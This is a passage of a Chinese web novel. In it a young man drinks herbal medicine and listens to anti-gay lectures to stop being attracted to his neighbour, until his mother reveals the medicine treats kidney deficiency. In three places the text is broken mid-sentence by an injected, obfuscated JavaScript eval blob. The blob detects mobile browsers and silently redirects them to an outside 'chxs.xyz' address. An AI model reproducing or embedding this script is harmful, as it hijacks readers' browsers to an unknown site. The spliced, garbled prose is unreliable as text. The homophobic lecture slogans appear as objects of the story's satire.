阕开霁今天也有在好好健身。 体脂率可能还是12,肌肉被汗水打湿,看上去…… 好像确实,有点润。 健身之后阕开霁换了衣服,穿着他上次穿过的墨绿色T恤。 穿在他身上宽宽大大像个麻袋,但在阕开霁身上就刚刚好,底下是姜黄色工装裤,还配了副稍稍带点黄色的墨镜。 各种小饰品一带,看上去时髦得能给店家拍买家秀海报。 在他今天一天在公司摸鱼、做着和之前完全一样的机械工作、焦灼等待网友给自己发戒同课程时,阕开霁打扮得异常帅气,驱车去城郊朋友的庄园玩。 阕开霁和朋友去玩攀岩,还一起打了台球。运动时用发带把头发束起来,深绿色丝带和发丝一起荡起又落下。 和自己完全不一样。 闻根一开始就知道自己和阕开霁是完全不一样的人,但后来越来越熟悉,跟着阕开霁一起逛街一起去酒吧喝酒,听他说他的童年他的过去,互相说喜欢还有亲密接触,很容易给闻根一种自己和阕开霁越来越一样的错觉。 那天之后,他知道阕开霁是男人,决定重新回到自己普通的生活后。 他们又变成了两个世界的人。 自己还是那么普通。 阕开霁还是蝴蝶一样,闪闪发光。 闻根说不清现在心里鼓囊囊的情绪是什么,只觉得涨涨的酸酸的。 同时也非常清楚,自己就是个普通人,自己不能当同性恋,现在知道阕开霁是个男人了,更不能再被阕开霁吸引了。 虽然一开始知道自己是个同性恋就是因为阕开霁的视频,但都过去这么久了,自己吃了药还在听戒同课程,只要争气一点,一定能抵挡不良诱惑,重新回到自己最普通不过的生活了。 对。 首先就是,不要再看阕开霁的视频了。 要争气一点! 闻根盯着手机屏幕,这么告诉自己。 身体好像有自己的想法,根本控制不住手指叉掉视频,任由二十几秒的视频一遍遍重播。 这条工装裤真显腿长啊。 这件T恤衬得阕开霁皮肤更白了。 头发散下来也很好看…… …… 在给闻根发送今天视频的二十分钟后。 中药世家继承人的小号收到闻根的消息。 “神医,我不争气。” 果然不争气。 阕开霁心里得意,面上切了小号,维持神医一无所知的人设:“怎么了?” 闻根实在没脸告诉神医,自己喝了这么多药,一点用都没有。不仅抵挡不了肌肉的诱惑,就连阕开霁穿着衣服喂羊钓鱼都抵抗不了。 他只得保证:“我会好好喝药的。今天保证是最后一次,明天我一定争气起来,绝对不会砸了你的招牌的。” 神医:“好。你加油。” 闻根用最后一丝意志力,控制着自己叉掉神医聊天页面的同时没有点开阕开霁的聊天页面,而是退出软件,试图放下手机睡觉。 但在床上躺了许久,意识依旧活跃得不像话,找不到一点睡意。 闻根又默默拿起手机。 就看最后一遍。 看完就睡,明天起来多听一遍戒同课程! = 试图戒掉同性恋当个普通人的同性恋没资格懒惰。 闻根第二天一大早起床,给自己煮上中药和早饭,拿着手机站到阳台——面对阳光,大声朗诵戒同文案! 闻根站到阳台,面对阳光,看着对面楼密密麻麻的窗户,想到窗户后一个又一个的人,或者自己楼上楼下的邻居,哽住。 他面对阳光,小声朗诵:“同性恋丧尽天良,有悖人伦,道德败坏,毫无廉耻……” 本来就因为担心会被别人听到而放低声音,但失去大声朗读的正大光明感,闻根反而越发觉得心虚,耳朵细细捕捉周围所有动静,一有点风吹草动就停止朗读,声音也跟着越来越低。最后他干脆不读了,拿着手机快速翻看过去。 虽然没有大声朗读,但光是看着这些内容,闻根就好像被劈头甩了一耳光,内心充满内疚和自责。 自己怎么能是个同性恋呢。 自己绝对不能做个同性恋。 现在马上吃饭,吃完饭多喝一碗中药,一定要赶快调理好,从此当个普通人。 而且,要弥补自己犯下的过错,把阕开霁也调理回直男。 他给自己煮上中药,不知道第多少次给自己打气,自己一定会调理好的! 这是,手机震动一声,提示有新消息。 闻根拿起手机。 阕开霁给他发了个视频:“你是直男的话,可能会喜欢这个。” 闻根点开。 是地下停车库,女生裹着黑色大衣穿着高跟鞋,一边大步往前走一边解开大衣系带。 下一秒,霸气的黑大衣散开,里面是女仆装和黑丝吊带袜。 闻根的脸一下爆红。 非礼勿视。 他飞快叉掉视频:“我不喜欢!” 阕开霁发了个“啧”的表情包。 闻根涨红了脸,飞快打字解释:“我真不喜欢,我从来不刷这种视频的!” 阕开霁:“哦,看你说我是擦边男时的嘴脸,我以为你经常看擦边博主。既然你说你是直男,那我就觉得你可能会喜欢这种。” “想着大早上给你看看,精神一下。” 闻根:“我从来没看过的。” “不要这么激动。” 阕开霁问,“真不喜欢?” 闻根脑子都要炸开了,根本不想回想刚刚看到的画面。 没什么绮念,就是乍一眼看到异性过多暴露的身体后的羞耻和慌张。 “不喜欢。” “不应该啊,这个变装视频最近也挺火,这个视频有八十多万点赞呢,受众群体不就是我们这些直男吗。” 闻根看着阕开霁的消息,死鱼眼泛起些许波澜,他其实不知道阕开霁要说什么,但心里隐隐有点不好的预感。 下一秒,阕开霁的消息又发过来:“我其实也想赶个热点拍个类似的。” 看到消息,闻根整个人都恍惚了,死鱼眼完全僵直,呆呆看着手机。 拍类似的,拍什么? 女仆装黑丝吊带袜吗? 刚刚只看了一眼就马上叉掉的视频突然又出现在脑海里,这么几个月和阕开霁朝夕相处不自觉留意他的穿搭,现在就对视频里女生的穿搭也记忆深刻。 白色衬衣被胸脯顶得鼓起来,黑色马甲束得腰很细,下面是黑色短裙、黑丝吊带袜。 穿在阕开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716896|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霁身上…… 阕开霁还真能穿。 鼓囊囊的胸肌,窄腰,还有那么长的腿…… 闻根整个人都热起来了。是那种由内而外的热,让他觉得自己喝中药补气血补得太足,现在整个人阳气重得能去发电。 刚刚默读这么久的戒同文案全部忘到脑后,生出的那点内疚和自责烟消云散,无踪无际好像从未出现过。 在把自己热死前,他走到空调口,感受着空调凉风吹到脸上带走热意,用最后一丝理智告诉阕开霁:“这是女生啊,你是男的,你要穿裙子吗?” 阕开霁:“我知道,拍个类似的。” 没等闻根问什么类似的,阕开霁就又发过来两张照片。 一张是穿着高领毛衣外面穿藏青色羊绒大衣的照片,和平时阕开霁花里胡哨的穿搭不同,这一身简单经典,高领毛衣勾勒出胸肌,而大衣把肩膀衬得格外宽厚有力,看上去像是电影里走出来的儒雅年上。 另一张倒是很有阕开霁的风格,是平铺在沙发上的几条亮晶晶的银链,银链上镶了细小的碎钻,在灯光下闪闪发光。 阕开霁:“先穿大衣,然后穿这个。” 闻根艰难把目光从第一张照片上撕下来,看着那几条链子:“是挂在毛衣外面吗?” 虽然穿藏青色大衣也很帅,但如果穿高领毛衣再在外面加上这些毛衣链,应该也会很好看。 阕开霁:“没有毛衣,单穿。” 闻根:“……” ?! 好像受到激烈攻击,他的瞳孔一下散开了。 没有毛衣,单穿。 阕开霁的信息又发过来:“背链。” 明明就是一张照片,但他马上想到阕开霁单穿这几条链子的样子。 背链…… 阕开霁的背肌也好看。 本就是肩宽腰窄的身影,后背薄薄一层肌肉,再加上白得晃眼的皮肤,肩胛骨上的蝴蝶纹身…… 在沙发上闪亮但死板的链条一下生动起来,闻根甚至想到它挂在阕开霁后背上的样子。 第一层链条挂在后颈,那里有块微突出来的骨头,勾住链条。 第二层往下垂,坠着的那颗大一点的钻刚好悬在脊梁骨凹进去的那条线里。 而第三层分成两半,从第二层边缘展开又回到第一层链条中间,垂下来时……像两只翅膀。 和阕开霁身上的蝴蝶遥相呼应,一定很美。 闻根眼神都直了。 锅里的水煮开了,中药味钻到鼻尖,勾起一丝理智。 闻根艰难:“不是说好不发网上了吗,那就不用赶热度了。” 阕开霁:“对,但买都买了,我总得试试。” “没事,拍了发给你。不是说好了,以后这种都分享给你吗。” “你会好好看的,对吧?” 闻根手指在键盘上敲来敲去,自己都不知道要说什么。 阕开霁压根也没想听他想说什么,自顾自:“算了,刚好早起换衣服。直接现在试吧。” “早起没锻炼,肌肉线条不好看,你凑合看一下。” 紧跟着发过来的就是一张照片。 阕开霁背对着镜子微微侧身,手机从腰间往上拍。 顶光照下来,肌肉轮廓分明,每一道明暗分割,都是肌□□壑。 闻根腿一软。 身下某个地方却控制不住的梆硬。 阕开霁:“清醒了吧?” 闻根:“……” 何止是清醒了。 33. 第 33 章 吃完早饭咕嘟嘟喝了一大碗中药,给阕开霁留一碗,再把剩下的全部装到自己杯子里,闻根踏上去公司的旅途。 路上他带上耳机听戒同课程。 老师的话一句句在耳边回荡,他却满脑子都是阕开霁和那件祸国殃民的背链。 好不容易在路上艰难整理好思绪,到了公司领导却还来问他小红书数据怎么样。 闻根自然是把数据摆出来给他看。 领导喝着茶,幽幽叹气:“怎么就是上不去呢?你说那些网红几十万几百万粉丝,都怎么弄的。” 闻根就知道一个几十万粉的网红。在想到这个人时,脑子一空就开始发热,一句“擦边”欲言又止,忍了又忍没说出口。 他老实:“不知道。” 领导问完又喝了口茶,拍着闻根的肩膀:“没事,反正咱们又不是干网红的,你就接着更新,贵在坚持,数据嘛,总能好起来的。” 闻根:“好。” 上午跟着同事把上次活动复盘做了总结,写了个PPT和总结报告。不忙,但事情琐碎,他干得认真,根本没时间摸鱼,也忘了再想阕开霁。 可一旦放松下来,吃饭时看着同事都在刷手机,阔绰的点着小红心,想到官方号迟好不了的数据,又想到自己唯一认识的网红——Qamar。 一想到阕开霁,他拿起杯子又抿了口中药,点开和阕开霁的聊天记录。 对话还停留在早上他告诉阕开霁,自己上班去了,药在锅里记得喝。 阕开霁现在还没回复。 闻根忍不住又发消息:“喝药了吗?” 阕开霁:“呦,还记得我啊。我以为你调理好了早就把我忘到脑后去了呢。” 但凡换一个人,都会觉得阕开霁无理取闹作妖。奈何对面是闻根,闻根压根没意识到不对劲,全部注意力都在“调理好了”四个字上。 原来在早上还因为那条背链分外狼狈时,阕开霁觉得自己能调理好啊。 他欢欣鼓舞:“暂时还没调理好,不过我们都不要气馁,只要坚持喝药一定可以的。” “你早上吃药了吗?有觉得好一点吗?” “喝了。不好喝,没什么效果。” 死鱼眼看着阕开霁发过来的消息,闻根很快给阕开霁找好理由——早上不回消息就是因为喝了药也没觉得好一点,所以干脆就没和自己说。 他慷慨分享给阕开霁戒同课程和自己的戒同计划时间表:“我昨天找到的戒同课程,你要试试吗?” 阕开霁接收文件,点开。 老头声若洪钟的演讲响彻办公室。 阕开霁眼疾手快,马上给叉掉了。 过了二十分钟,他发消息给闻根:“内心被洗涤一空。我悟了。” 闻根刚听着演讲吃饭,因为清楚自己就是被斥责的同性恋,内心充满内疚,吃饭都没什么胃口。现在看阕开霁说悟了,羡慕:“你真厉害。” 才听一次就悟了,自己就不知道要多久了。阕开霁果然和自己不一样。 阕开霁:“……” 他阴阳怪气:“没关系,你也很厉害。” 闻根晚上还是收到阕开霁分享来的今日事宜。是两个vlog。都是照片拼凑在一起加上BGM。一个清汤寡水,流水账似的记录今日穿搭和饰品,中午吃了什么饭下午做了什么,BMG是舒缓的轻音乐,看上去像夏日粉荷一样清新。 另一个完全不一样,BGM都是沙哑低唱的英文歌曲,点开来就是健身照,黑色背心贴在身上勾勒出肌肉痕迹,下一张照片里,阕开霁就赤着上半身穿上那条背链。 比闻根想象中的还要更好看。 背链上的钻反射着光线照在背上,在原本就白皙的皮肤上留下点点星光,而每一寸起伏,都精致又不失力量感。 闻根上一秒还是在湖里荷叶间自在游泳的小鱼,舒适安逸。下一秒就被网上来劈头来了一下,脑子都木了,眼神直勾勾看着屏幕。 一整天的戒同课程又白看了。 = 喝了这么久的中药,听了几天的戒同课程。但每次阕开霁的消息一发过来,那些努力全部白费。 闻根一开始还试图躲着阕开霁,但根本也躲不开,阕开霁说一句中药苦他就忍不住给阕开霁送糖。阕开霁说做了饭他就忍不住上门去吃饭。一到晚上,也是他真的控制不住自己,一遍又一遍看阕开霁的vlog,试图从每一个小细节里推测出阕开霁今天都做了什么。 这么几天后他受不了了,觉得自己实在不争气,需要一些别的什么辅助自己完成戒同任务。 正巧单位需要人去外地进行为期一周的培训,原本定了另外几个同事,结果临到头有个同事家小孩生病需要照顾走不开,其他同事又都不想去,推来推去推到向来好说话的闻根身上。闻根本来就好说话不太会拒绝,现在又正想找个办法暂时远离阕开霁,二话不说答应下来了。 答应下来后同事风风火火就给他交接培训事宜,比如订票,开发票留着报销,培训时要做笔记和总结…… 闻根一项项听着,内心都是对工作的渴望。 但下了班回家的路上,离家越近他心里越忐忑。上了楼经过阕开霁家门的时候甚至有种负罪感。 说起来也是正常工作安排,阕开霁应该不会看出来自己是想躲他吧? 应该不会吧…… 闻根推开家门,煮上中药拖出行李箱开始收拾行李。 却在听到手机声响时马上放下衣服拿起手机。 阕开霁:“吃饭了吗?” 闻根:“还没有。不过我点了外卖。” 阕开霁:“吃到家味道不错的生煎,给你打包了一份,放门口了。” “谢谢。” “这么客气?我以为你会说给我盛一碗中药呢。” 闻根老老实实询问:“你喝吗?我刚煮上,还没煮好。” “好了再给我吧。你这么客气,吃了我的生煎,可不得给我煮一周的中药做谢礼。” 一周……但自己明天就要去培训了。 闻根只好对阕开霁说:“没办法给你煮一周的中药了。我明天要去外地培训,去一周。” 惴惴不安把消息发出去,他埋头抠字:“中药还有很多,我给你送过去,明天开始你自己煮着喝。” 阕开霁不管他说了什么,一语中的:“呦,躲我呢。” 被说中心思的闻根:“……” 他也做不出欺骗阕开霁说没有的事,只好看着手机,顾左右而言他,“单位安排的。” 阕开霁冷笑:“对,正合你意的安排,刚好躲我。” 闻根:“……” 阕开霁感慨:“男人啊,得不到的时候什么好听话都说得出口。现在把我掰弯了也睡过,就不珍惜。非说什么把我当成女的才喜欢我,每天灌我喝这么苦的中药就算了,现在还想一走了之,借口工作躲我。” 闻根的负罪感到达顶峰,他甚至有种现在拿出手机给同事发消息说自己也不想去了。 但责任感制止了他临阵脱逃的罪恶行为。 他干巴巴解释:“真的是工作。” 阕开霁:“来,开门,你对着我的脸说。” 正常人应该是对着我的眼说吧? 闻根非常呆板的纠正这句话,又忍不住想到阕开霁那张脸。 ——其实也没错,自己对着那张脸,真的会失去理智,阕开霁想听什么自己都能说出口。 闻根逃避:“我在收拾东西。” “行吧。你收拾。” 阕开霁体贴,“我就不打扰你了,你快收拾东西,躲开我吧。” 闻根心下好像被虫咬了一下,刺刺麻麻的疼。他闷闷放下手机,接着收拾东西。把行李收拾好,中药也煮好了,房间里都是中药的味道。 之前闻根嗅到这个味道还会觉得自己的身体接受中药的调理,性取向好像也要正常了。但现在嗅到这个味道只会想到,中药煮好了自己要给阕开霁送。接着满脑子都是阕开霁。 今天想得格外多,还有点心虚。 他盛了碗中药,把剩下还没煮的半疗程中药都装好,一起放到阕开霁门口,站在门口给阕开霁发消息:“中药煮好了,放在你家门口了。” 剩下半句“还有剩下一周的中药,你自己记得煮来喝”还没发出去,阕开霁家门就打开了。 闻根心虚至极,听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716897|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个声音下意识哆嗦一下,仰头看过去。在看到阕开霁后瞳孔颤了颤——无他,阕开霁又穿上那件黑织金睡袍,衣领大得露出整片胸膛,这么一眼看过去,大片雪白几乎晃花了闻根的眼睛。 镜片后呆呆木木的死鱼眼,抬头动作太大眼镜往下滑,那颗泪痣被镜片一折显得很小,但分外明显。 阕开霁看一眼,倚着门框:“中药呢?” 他这个动作微微斜了身子,原本就松垮的睡袍敞得更快。闻根根本不知道眼该往哪儿看,只好弯腰把中药拿起来递过去。 靠得近了,阕开霁身上的香味几乎能把中药的味道压下去。不是甜桃,而是另一种很甜的味道。闻根先是下意识屏住呼吸,随后反应过来,轻轻嗅着这个味道。 注意到他的动作,阕开霁脸色越发和缓,接过中药一饮而尽,看着闻根手里的中药包,还勾着闻根的手指把药接过来,和闻根保证:“放心吧,你不在的时候我也会好好喝药坚持听讲座,保证能在你回来前调理好的。” 闻根心里乱乱的,一方面觉得这样就再好不过了,但另一方面,他悲哀的发现自己并没有因此感到高兴。 胡乱点头算是回应,他接过药碗回家。 给自己也灌了碗中药。 但同样也没好起来。 他只好向神医求助:“神医,我没药了。” 拿着剩下所有中药的阕开霁托着腮帮子看闻根发过来的消息,装傻充愣:“喝这么快吗?怎么,加大剂量后有觉得好转吗?” “没有。” 也不知道自己说的是没有喝这么快还是没觉得有好转,闻根告诉神医,“我明天要出差,剩下的药都给邻居了。” “我再给你开,给我个地址,直接给你煮好了寄到你出差的地方。” 闻根大为感动:“谢谢神医。” 阕开霁:“没关系。你有觉得好一点吗?” 闻根不自觉想到刚刚睡袍松垮的阕开霁,越想越心虚,面对神医的询问羞愧难当。 神医这么操心,每天给自己寄药关心自己,但自己一点没好,实在太对不起神医了。 但确实没好,他也不敢随便说好了,只能和神医保证:“我一定争气的。” “你争气就好。” 阕开霁冷笑一声,切换账号询问闻根:“你出差了,我还能给你分享日常吗?” 闻根斟酌着不知道如何回答。 阕开霁的消息又发过来了:“真这么绝情,躲我躲到甚至都不肯看消息了?” 闻根下意识:“没有。” 阕开霁:“行吧,那我还接着给你发,这是今天的。” 可能因为是单发给他,阕开霁也没再像拍摄其他镜头一样挡住脸。就露出脸和大半个上身,背景在浴室。他头发湿漉漉的披在身上,像被雨淋湿的花朵,还有热水不断洒在他身上,热气模糊了镜头。而唯一清晰的阕开霁像刚从水里钻出来的美人鱼,或蛊惑人心的水鬼。一手拿手机一手拿沐浴露,语气认真:“发现一款还不错的沐浴露,就是这个,很甜的蓝风铃香。大家可以试试。” 闻根眼睛发直。 他不知道第多少次确信,阕开霁真的是一个生活很充实的人。 他每天分享给自己的vlog里,没一个镜头是重复的。 偏偏那边阕开霁还在给他发消息:“不是广告,我自己真觉得好用。” “能分享给我的广大粉丝朋友,让她们也知道这款很好用的沐浴露吗?” 闻根建议:“你可以上传视频时在文案里分享。” “在文案里分享的话看上去就像很硬的广告。而且我都对着镜头说一遍了,不想再打字了。” “但是这么好用的沐浴露,值得分享给所有人。” 闻根:“……” 分享给所有人,给那么多人看阕开霁洗澡的样子? 他如鲠在喉,活像被鱼刺卡住。 阕开霁还要问他:“你有被种草吗?” 闻根艰难:“有。” 阕开霁:“那今晚你可以在我家洗澡,试用一下。” 在阕开霁家里洗澡。 闻根脑子一炸,艰难拒绝了阕开霁的好心。 34. 第 34 章 闻根出差一周,说不上忙,就是花很长时间在路上。大家都在同一辆车里,路程就变成了工作性质的社交小会。闻根总不能在这种时候没礼貌的拿出手机自己玩,只能应和其他人的对话,等真的培训开始后更没时间看手机。这么下来,和阕开霁的交流频率确实骤降。 明明出差前也想过这种可能,但根本不是闻根以为的,物理拉开距离同样也能拉开距离。他反而更经常想到阕开霁,想阕开霁现在吃饭了没有喝药了没有今天又和朋友去哪儿玩了做了什么。这种想在某天开完会回到酒店苦哈哈整理会议记录、看到阕开霁发过来今日份行程后,到达顶峰。 阕开霁受邀参加朋友的音乐节,打扮得非常胡哨,明明都是一身黑,但不知道穿了几层,叠起来后有种诡异的帅气,身上挂得几乎像是个首饰架子,对着镜头比了个摇滚手势。长发、帅脸,看上去很像摇滚乐队里最受欢迎的主唱。 闻根忘记还没做完的工作,盯着照片看了好一会儿,忍不住搜索起摇滚手势。 手心朝前,中指和无名指扣起,其余三根手指竖起来。 是摇滚手势里的“我爱你”,代表和平美好和爱恋。 闻根的心轻轻震了下,不重,但余韵悠长。 后一张照片里,阕开霁和他的朋友们聚在一起吃饭,菜不多,满桌子的酒。 虽然理智告诉闻根自己要戒掉同性恋,但他根本控制不住自己,不仅乐于看到阕开霁的分享,还询问:“现在在喝酒吗?” 虽然对方是没一点情趣的呆子,但呆子也有呆子的好处。 比如你只需要稍稍了解他,就能很快发现他的脑回路,并趁机下套,屡试不爽。阕开霁扔下鱼钩,和往常一样很快就收到鱼儿咬钩的信号,他抓住鱼竿:“他们喝,我不喝。” 闻根还没来得及问为什么。 阕开霁就唰得收杆,把水面下笨笨呆呆的小鱼钓上来。 ——是一张照片。 聚会灯光幽昏,阕开霁不知道把手机放在哪儿,从很下面往上拍。闻根看到他岔开的腿,看到俯下几乎占满整个屏幕的肩膀,拿着手机那只手格外粗壮修长的胳膊,看到阕开霁垂下的头发,遮住蓝灰色眼睛的宽框茶棕色墨镜。 还有…… 吐出来的殷红舌头。 阕开霁开了闪光灯,照片焦点就在舌头上,但舌头中间有个小小的反光点,折着闪光灯的光线,炸开一朵小小的光花,让吐出来的舌头显得…… 色气满满。 闻根看到这张照片的第一秒,有点接受不了冲击的把照片叉掉,但也就那一眼,照片里所有细节都牢牢记在脑海里,不断回旋往复。他的耳朵和脸颊都烧起来。 手机亮一下,新消息弹出来,闻根低头看消息,但目光止不住往上面那张照片上飘。所以短短一行字看了两分钟才看明白。 阕开霁:“打了舌钉,这周都不能喝。” 打舌钉…… 闻根贴在上颚的舌头不自觉弹了下,目光又往阕开霁舌头上飘。 他终于看出来了,那个反射着光的小圆点就是舌钉,竖穿整个舌头,留了个小银球在舌面上。 闻根忍不住舔了舔嘴唇,问:“疼不疼。” “还好,” 阕开霁假惺惺,“你不用担心,不影响喝中药。” 闻根:“……” 他其实根本没想到这一点,但现在却好像被阕开霁提醒似的,意识到自己的口干舌燥。 他突然觉得,自己应该喝点中药了。 = 闻根出差回来这天是周末。 老家亲戚给送了自家种的菱角和板栗,闻妈妈想着给闻根送点,正好赶在他回来这天,又提前过来给闻根把家里整理一下。 她到了小区停车场,打开后备箱拿东西,但胳膊上挎着的包不小心勾到什么,卡在后备箱门上,她进退不得,欸了几声。 然后身边多了个人,一走过来就带着香喷喷的味道,俯身时有长卷头发搭在她的皮包上,比她花大价钱买的鳄鱼皮还要更有光泽质感的深棕色,还有条很精致的蝴蝶项链,蝴蝶吊坠垂下来,在她眼前晃晃悠悠。对方三两下给她把包上挂饰卡着的小链子解开,顺手还把她要拿的东西抱出来。 闻妈妈长舒一口气,感激:“谢谢你啊小姑……” 偏过头才发现自己居然看不到脸,她仰头,看到对方宽到没边的肩膀、喉结,把剩下那个字咽回去,艰难改口:“小伙子。” “没事。” 对方甚至都没怎么看她,摆摆手就越过她走到一边的摩托车上,拿出头盔带上,大长腿一扫坐上去,很快就带着机车炫酷的音效离开了。 现在的年轻人…… 实在是太个性了。这也没什么不好,不过幸好闻根不追求这些特立独行的,就是个普通且优秀的小孩。 闻妈妈抱着带给闻根的东西,回到家里,大致扫了眼。 闻根家里也不脏,没有她想象中七天不在家的落灰问题,也没有空气不流通的怪味。 她这么想着,目光看向窗户,这才发现原来窗子是开着的。马马虎虎的,人不在家也不关窗,万一下雨怎么办?她皱起眉头,走过去把窗户关上。 看上去很干净,其实马大哈一个,还是要好好整理的。 闻妈妈开始收拾东西。 客厅房间都没什么,但等她收拾以为会是最干净的厨房时,怔住了。 甚至等不到闻根回家,她拨了个电话过去,询问:“你怎么了?” 闻根没反应过来,问:“什么怎么了?” “你家厨房怎么有中药包,还有煮中药的罐子,我看用很多次了,你生病了吗?” 闻根:“……” 中药? 怎么在自己家? ——中药世家继承人说可以把中药寄到他出差的地方,但闻根忙起来不怎么在酒店,也不想被同事发现询问,干脆就没要。可能是这几天没喝药,他总梦到阕开霁,一周的出差,越往后越想。他觉得可能真的是自己没喝药导致病情反复,今天出差结束就马上求助神医,要了新的药。 神医很快就给他送了,但就是送得太早了,他还没到家药就先到了。 早上阕开霁出门时说看到闪送小哥把药放到他门口,提出帮他收起来。 闻根以为阕开霁会把药收到他家里,然后让自己去他家里拿。 他其实有点犹豫,因为他确实很久没喝药,现在病情严重到他自己都心惊的地步,只要拿着手机就忍不住看阕开霁的照片和他发出去的vlog,他怀疑自己真去阕开霁家里拿药,见到阕开霁真人就根本移不开眼了。不如把药放到自己家里 ,自己先喝一点控制一下,再去从容感谢阕开霁。 但内心理智和冲动打了会儿架,最后还是觉得,见一见应该也没事。自己没喝药,但阕开霁这几天应该是有一直在喝,应该也没事。 然后他就什么都没说。做好了晚上要去阕开霁家里拿药的准备。 没想到阕开霁这次直接把药放到他家了。 还被妈妈看到了。 现在面对妈妈的询问,闻根想到自己的病,脑子一空。 他不说话,闻妈妈更着急了:“很严重吗?你这孩子,怎么也不和我说一声。” 闻根实在不知道如何开口,一开始不告诉妈妈就是担心父母着急,以为能隐藏到自己完全治好,就可以不告诉所有人,不让其他人知道还有这件事发生过。车上人太多他不好意思开口,只能先对妈妈说:“不严重,等我回去再和你说吧。” 先回到单位上交出差的报告,心里始终惴惴不安。 阕开霁还在这时候给他发消息,问他什么回家。 闻根心里乱乱的,很想像个鸵鸟一样藏起来,但等了一会儿,还是回复阕开霁:“现在在公司,晚上再回去。” 阕开霁:“需要我把中药给你煮上吗?” 闻根:“谢谢,但不用了,我今天可能有点事情。” 还可能有点事情,出差一周好不容易回来还有些事情,别人都不忙就你忙,厉害死你了。 阕开霁收起手机:“行,你大忙人,忙着吧。” 闻根依旧没意识到阕开霁的阴阳怪气,只是看着阕开霁头像上的蝴蝶,莫名有点难受。 他不知道怎么和妈妈交代自己变成同性恋,而且喝了这么久的药还没好转的事,更不知道怎么和妈妈说起阕开霁。 但是,阕开霁真的很无辜。被自己误认为女生也变成同性恋,结果自己不负责,还总想躲着他。 这么无辜,还……这么漂亮,这么惹人向往。 闻根一下午坐立难安,像毕业答辩、公考面试前两小时一样,在心里不断思考自己要怎么开口,怎么说才能让妈妈更容易接受自己变成同性恋这件事。 等到晚上回家,果然在家门口看到妈妈的鞋。 闻根更紧张了,忍不住推推眼镜走进去。 这一进去,先看到客厅的桌子上还摆着拆开的中药包,各色药材躺在牛皮纸上,看上去像明晃晃告诉所有人,他已经是个非常不普通的同性恋了。 他像个证据确凿马上要被处刑的嫌疑犯一样缓缓走进去,和厨房里的妈妈打招呼:“妈。” 闻妈妈从厨房走出来:“下班了?刚好,我煮了板栗粥,你尝尝。” 闻根跟着进了厨房,又看到被妈妈放到灶台上、被刷得干干净净的用来煮中药的小锅。 他更紧张内疚了,推推眼镜,决定先自首:“我不是有意瞒着你的。” 闻妈妈回头看他,一时有点没反应过来一样:“什么?” 闻根:“我喝的那个药。” 闻妈妈回头看一眼,有点尴尬的样子:“哦,没事,你不是拿了药了吗,知道照顾自己就好。” 闻根没想到妈妈是这种反应,站在原地不知道如何是好。 闻妈妈给他盛了碗板栗粥:“你尝尝。” 闻根就站在厨房慢吞吞喝板栗粥,试图重新思考怎么开口和妈妈说这件事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716898|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但闻妈妈接着做饭,好一会儿,还是没忍住,开口询问:“你已经有这种困扰了吗?” 闻根连连点头,内疚告诉妈妈:“从今年夏天开始。” 闻妈妈:“喝完药有好一点吗?” “不太好。” 闻妈妈担忧:“那怎么办?是不是中药好得慢,你去医院检查过没有?” 闻根鼓起勇气告诉妈妈:“我没好意思去医院,但这个医生很有名,网上很多人说都是被他治好的。但可能是我比较严重,所以现在还没好。” “这可不行啊,你现在还没恋爱呢,到时候结婚哪个小姑娘能接受……” 闻妈妈在围裙上擦擦手,告诉闻根,“之前你小舅也有点,他也是喝中药好一点了,我一会儿问他要那个中医的联系方式。” 闻根有点惊讶:“小舅之前也是?” “嗯,男人到了中年多多少少都会有点吧,但你现在不才二十来岁吗,怎么会。” 闻妈妈担忧。 闻根小心翼翼提出反驳:“这个不是到了三十岁就自动好了吗?我中医是这么告诉我的。” 他说得不是很有信心——因为他即使喝着药也没好,反而总想着阕开霁,病情越来越严重,他觉得可能其他人到了三十岁会自动变直,但他没有干预,到了三十岁只会越来越严重。 实在是太心虚了,说完这句话,他抿了口粥,看妈妈的反应。 闻妈妈依旧在皱着眉,告诉他:“怎么会,到了三十岁才会越来越严重。你二十来岁就肾虚,三十岁只会越来越虚啊。” 闻根一口粥呛住,咳得撕心裂肺。 他像被煮熟的虾子一样,整个涨红:“什么?” 闻妈妈:“你不是肾虚吗?我找我爱养生的同事问了,那一方子药里面,山药、附子、牡丹皮,都是补肾的,剩下的那些强心补气,但总体来说,不都是治……肾的吗。” 闻根一双死鱼眼越发呆板:“不是吧。” “是啊。” 闻妈妈很了解自己儿子,从这句话里听出来什么,问,“你不知道药是补肾的?买药的时候没问医生吗?” 闻根呆滞摇头。 闻妈妈敏锐:“那你拿药是想治什么?” 闻根小声:“同性恋。” 声音微弱如蚂蚁呐声,闻妈妈好像听清了,又总怀疑自己听错了,疑惑:“什么?” 闻根只好再次重复:“同性恋。” 闻妈妈的表情终于再次僵住。 = 